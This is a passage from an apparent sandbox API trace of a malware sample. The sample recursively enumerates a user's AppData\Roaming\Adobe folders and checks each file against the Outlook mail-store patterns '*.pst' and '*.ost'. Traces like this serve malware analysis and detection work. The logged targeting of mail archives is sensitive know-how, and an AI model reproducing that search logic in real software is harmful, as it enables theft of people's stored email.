PathMatchSpecW (pszFile="99en0joo4697S6Ply8c.jpg", pszSpec="*.ost") returned 0 [0096.099] FindNextFileW (in: hFindFile=0x4466d00, lpFindFileData=0x6a1f190 | out: lpFindFileData=0x6a1f190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e9a4ce0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0096.099] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.099] PathCombineW (in: pszDest=0x6a1f3e0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming", pszFile="Adobe" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe" [0096.099] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\*" [0096.099] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e9a4ce0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x4466e20 [0096.302] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.302] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e9a4ce0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eaaf680, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eaaf680, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0096.302] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.302] FindNextFileW (in: hFindFile=0x4466e20, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e9a4ce0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7e9a4ce0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7e9a4ce0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0096.302] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.302] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe", pszFile="Acrobat" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat" [0096.302] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\*" [0096.302] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e9a4ce0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7e9a4ce0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7e9a4ce0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x44669a0 [0096.303] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.303] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e9a4ce0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7e9a4ce0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7e9a4ce0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0096.303] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.303] FindNextFileW (in: hFindFile=0x44669a0, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e9a4ce0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x934c7500, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x934c7500, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="10.0", cAlternateFileName="")) returned 1 [0096.303] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.303] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat", pszFile="10.0" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0096.303] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*" [0096.303] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e9a4ce0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x934c7500, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x934c7500, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x4466700 [0096.303] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.303] FindNextFileW (in: hFindFile=0x4466700, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e9a4ce0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x934c7500, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x934c7500, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0096.304] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.304] FindNextFileW (in: hFindFile=0x4466700, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8387e5a0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8387e5a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8387e5a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Collab", cAlternateFileName="")) returned 1 [0096.304] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.304] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", pszFile="Collab" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab" [0096.304] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*" [0096.304] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8387e5a0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8387e5a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8387e5a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x4466d60 [0096.304] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.304] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8387e5a0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8387e5a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8387e5a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0096.304] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.305] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8387e5a0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8387e5a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8387e5a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0096.305] FindClose (in: hFindFile=0x4466d60 | out: hFindFile=0x4466d60) returned 1 [0096.305] FindNextFileW (in: hFindFile=0x4466700, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8504c1a0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8504c1a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8504c1a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Forms", cAlternateFileName="")) returned 1 [0096.305] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.305] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", pszFile="Forms" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms" [0096.305] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*" [0096.305] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8504c1a0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8504c1a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8504c1a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x4466d60 [0096.348] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.348] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8504c1a0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8504c1a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8504c1a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0096.348] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.348] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8504c1a0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8504c1a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8504c1a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0096.348] FindClose (in: hFindFile=0x4466d60 | out: hFindFile=0x4466d60) returned 1 [0096.348] FindNextFileW (in: hFindFile=0x4466700, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x934c7500, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x934c7500, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x934c7500, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="JavaScripts", cAlternateFileName="JAVASC~1")) returned 1 [0096.348] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.349] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", pszFile="JavaScripts" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" [0096.349] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*" [0096.349] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x934c7500, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x934c7500, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x934c7500, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x4466d60 [0096.507] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.507] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x934c7500, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x934c7500, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x934c7500, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0096.507] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.507] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x934c7500, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x934c7500, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x3ba19540, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="glob.js", cAlternateFileName="")) returned 1 [0096.507] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.507] PathMatchSpecW (pszFile="glob.js", pszSpec="*.pst") returned 0 [0096.507] PathMatchSpecW (pszFile="glob.js", pszSpec="*.ost") returned 0 [0096.507] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x934c7500, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x934c7500, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x3ba3f6a0, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x234120, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 1 [0096.507] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.507] PathMatchSpecW (pszFile="glob.settings.js", pszSpec="*.pst") returned 0 [0096.507] PathMatchSpecW (pszFile="glob.settings.js", pszSpec="*.ost") returned 0 [0096.507] FindNextFileW (in: hFindFile=0x4466d60, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x934c7500, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x934c7500, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x3ba3f6a0, ftLastWriteTime.dwHighDateTime=0x1d35d5c, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x234120, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 0 [0096.507] FindClose (in: hFindFile=0x4466d60 | out: hFindFile=0x4466d60) returned 1 [0096.507] FindNextFileW (in: hFindFile=0x4466700, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8b37ea20, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8b7a90a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8b7a90a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Security", cAlternateFileName="")) returned 1 [0096.507] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.507] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", pszFile="Security" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0096.507] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*" [0096.507] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8b37ea20, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8b7a90a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8b7a90a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7202650 [0096.552] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.552] FindNextFileW (in: hFindFile=0x7202650, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8b37ea20, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8b7a90a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8b7a90a0, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0096.552] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.552] FindNextFileW (in: hFindFile=0x7202650, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8b7a90a0, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8b7a90a0, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8b7cf200, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x1517, dwReserved0=0x0, dwReserved1=0x234120, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0096.552] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.552] PathMatchSpecW (pszFile="addressbook.acrodata", pszSpec="*.pst") returned 0 [0096.552] PathMatchSpecW (pszFile="addressbook.acrodata", pszSpec="*.ost") returned 0 [0096.552] FindNextFileW (in: hFindFile=0x7202650, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8b3a4b80, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8b4af520, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8b4af520, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0096.552] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.552] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security", pszFile="CRLCache" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache" [0096.552] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*" [0096.552] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8b3a4b80, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8b4af520, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8b4af520, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x7202230 [0096.552] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.552] FindNextFileW (in: hFindFile=0x7202230, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8b3a4b80, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8b4af520, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x8b4af520, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0096.552] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.552] FindNextFileW (in: hFindFile=0x7202230, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8b4af520, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x8b4af520, 